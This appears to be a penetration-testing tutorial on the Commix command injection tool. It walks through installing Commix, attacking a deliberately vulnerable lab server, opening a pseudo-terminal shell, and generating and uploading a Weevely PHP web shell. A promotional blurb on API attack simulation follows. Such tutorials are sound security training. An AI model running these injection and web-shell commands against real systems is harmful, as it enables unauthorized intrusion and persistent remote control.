Commix – Automated All-in-One OS Command Injection and Exploitation Tool

Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, by web developers, penetration testers, or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks.

By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. It is written in Python programming language.

Requirements and Installation

Requires version 2.6.x and above to run this tool, it can be downloaded from the GitHub.

root@kali:~# git clone https://github.com/commixproject/commix.git

Also, can be installed through Ubuntu’s APT (Advanced Packaging Tool)

root@kali:~# apt-get install commix

Supported Platforms

  • Linux
  • Mac OS X
  • Windows (experimental)

Classic Injection

Step1: Download and mount the Pentester lab exercise Web for Pentester and then you can reach the labs from your Kali machine browser Ex: http://192.168.169.130

Step 2: You can find command line Injection exercises.

Step 3: Now in Kali type commix and copy the path for example 1.

INJECT_HERE – It will try to inject various queries here.

root@kali:~# commix –url=”http://192.168.169.130/commandexec/example1.php?ip=INJECT_HERE”

It checks for various payloads and successful with Payload: ;echo WIBYAT$((24+78))$(echo WIBYAT)WIBYAT.

Then it asks to connect with a terminal shell Do you want a Pseudo-Terminal shell? [Y/n/q] > By pressing “y” we can get the terminal access for the machine.

Blind Injection

commix –url=”http://192.168.169.130/commandexec/example1.php?ip=127.0.0.1″ –os=U –technique=”tf” -v 1

Injecting Weevely PHP web shell

Step 1: Create a payload with weevely, if weevely is not installed you can use apt-get install weevely.

Step 2: Launch weevely and generate a PHP web shell.

root@kali:~# weevelyroot@kali:~# weevely generate commix /root/Desktop/Commix/shellexploit.php

Step 3: To upload the file in the remote host, use the following command.

–file-write  = File to write in the destination host

–file-dest  = Filepath to write or Upload

commix –url=”http://192.168.169.130/commandexec/example1.php?ip=INJECT_HERE” –file-write=’/root/Desktop/Commix/shellexploit.php’ –file-dest=”/var/www/upload/images/”

Live API Attack Simulation

94% of organizations experience security problems in production APIs, and one in five suffers a data breach. As a result, cyber-attacks on APIs increased from 35% in 2022 to 46% in 2023, and this trend continues to rise.
Key takeaways include:

  • An exploit of OWASP API Top 10 vulnerability
  • A brute force ATO (Account Takeover) attack on API
  • A DDoS attack on an API
  • Positive security model automation to prevent API attacks
